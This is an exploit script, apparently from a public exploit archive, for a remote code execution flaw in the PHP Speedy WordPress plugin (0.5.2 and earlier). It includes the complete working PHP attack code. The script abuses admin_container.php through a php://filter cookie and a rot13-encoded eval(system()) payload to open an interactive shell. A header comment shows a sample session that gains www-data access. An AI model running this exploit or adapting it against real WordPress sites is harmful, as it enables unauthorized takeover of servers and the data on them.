PHP Speedy 0.5.2 Remote Code Execution

`<?php  
/*  
php speedy <= 0.5.2 wordpress plugin (admin_container.php) Remote Code Exec Exploit  
vendor: http://aciddrop.com/  
-------------------------------  
May the stars be aligned!  
php.ini requirements:  
register_globals=On  
allow_url_include=On  
magic_quotes_gpc=Off  
------------------------------  
[mr_me@pluto php_speedy]$ php PoC.php -t 10.3.100.3:80 -d /webapps/wp/ -p 127.0.0.1:8080  
  
-----------------------------------------------------------------------------------  
php speedy <= 0.5.3 wordpress plugin (admin_container.php) Remote Code Exec Exploit  
by mr_me - https://net-ninja.net/  
-----------------------------------------------------------------------------------  
(+) Setting the proxy to 127.0.0.1:8080  
  
[email protected]# id  
uid=33(www-data) gid=33(www-data) groups=33(www-data)  
  
[email protected]# uname -a  
Linux steven-desktop 2.6.32-28-generic #55-Ubuntu SMP Mon Jan 10 21:21:01 UTC 2011 i686 GNU/Linux  
  
[email protected]# q  
*/  
  
print_r("  
-----------------------------------------------------------------------------------  
php speedy <= 0.5.2 wordpress plugin (admin_container.php) Remote Code Exec Exploit  
by mr_me - https://net-ninja.net/  
-----------------------------------------------------------------------------------  
");  
  
if ($argc < 3) {  
print_r("  
-----------------------------------------------------------------------------  
Usage: php ".$argv[0]." -t <host:ip> -d <path> OPTIONS  
host: target server (ip/hostname)  
path: directory path to wordpress  
Options:  
-p[ip:port]: specify a proxy  
Example:  
php ".$argv[0]." -t 192.168.1.5 -d /wp/ -p 127.0.0.1:8080  
php ".$argv[0]." -t 192.168.1.5 -d /wp/  
-----------------------------------------------------------------------------  
"); die; }  
  
error_reporting(7);  
ini_set("max_execution_time", 0);  
ini_set("default_socket_timeout", 5);  
  
$proxy_regex = "(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b)";  
  
function setArgs($argv){  
$_ARG = array();  
foreach ($argv as $arg){  
if (ereg("--([^=]+)=(.*)", $arg, $reg)){  
$_ARG[$reg[1]] = $reg[2];  
}elseif(ereg("^-([a-zA-Z0-9])", $arg, $reg)){  
$_ARG[$reg[1]] = "true";  
}else {  
$_ARG["input"][] = $arg;  
}  
}  
return $_ARG;  
}  
  
  
$myArgs = setArgs($argv);  
$host = $myArgs["input"]["1"];  
$path = $myArgs["input"]["2"];  
  
if (strpos($host, ":") == true){  
$hostAndPort = explode(":",$myArgs["input"][1]);  
$host = $hostAndPort[0];  
$port = (int)$hostAndPort[1];  
}else{  
$port = 80;  
}  
  
  
if(strcmp($myArgs["p"],"true") === 0){  
$proxyAndPort = explode(":",$myArgs["input"][3]);  
$proxy = $proxyAndPort[0];  
$pport = $proxyAndPort[1];  
echo "(+) Setting the proxy to ".$proxy.":".$pport."\r\n";  
}else{  
echo "(-) Warning, a proxy was not set\r\n";  
}  
  
// rgods sendpacketii() function  
function sendpacket($packet){  
global $myArgs, $proxy, $host, $pport, $port, $html, $proxy_regex;  
if (strcmp($myArgs["p"],"true") != 0) {  
$ock = fsockopen(gethostbyname($host),$port);  
if (!$ock) {  
echo "(-) No response from ".$host.":".$port; die;  
}  
}  
else {  
$c = preg_match($proxy_regex,$proxy);  
if (!$c) {  
echo "(-) Not a valid proxy...\n"; die;  
}  
$ock=fsockopen($proxy,$pport);  
if (!$ock) {  
echo "(-) No response from proxy..."; die;  
}  
}  
fputs($ock,$packet);  
if ($proxy == "") {  
$html = "";  
while (!feof($ock)) {  
$html .= fgets($ock);  
}  
}else {  
$html = "";  
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a), $html))) {  
$html .= fread($ock,1);  
}  
}  
fclose($ock);  
}  
  
if (strcmp($myArgs["p"], "true") != 0) {$p = $path;} else {$p = "http://".$host.":".$port.$path;}  
  
function read(){  
$fp1 = fopen("/dev/stdin", "r");  
$input = fgets($fp1, 255);  
fclose($fp1);  
return $input;  
}  
  
while ($cmd != "q"){  
echo "\n".get_current_user()."@".$host."# ";  
$cmd = trim(read());  
  
// maybe use base64 for better filter evasion  
$data = str_rot13("<?php eval(system(\"".$cmd."\")); ?>");  
$packet = "POST ".$p."wp-content/plugins/php_speedy_wp/libs/php_speedy/view/admin_container.php HTTP/1.1\r\n";  
$packet .= "Host: ".$host."\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Cookie: page=php://filter/read=string.rot13/resource=php://input%00\r\n";  
$packet .= "Content-Length: ".strlen($data)."\r\n";  
$packet .= "Connection: Close\r\n\r\n";  
$packet .= $data;  
  
if ($cmd != "q"){  
sendpacket($packet);  
$temp = explode("Parse error",$html);  
$______finalresponse = explode("/></a>", $temp[0]);  
echo trim($______finalresponse[1])."\r\n";  
}  
}  
?>  
  
`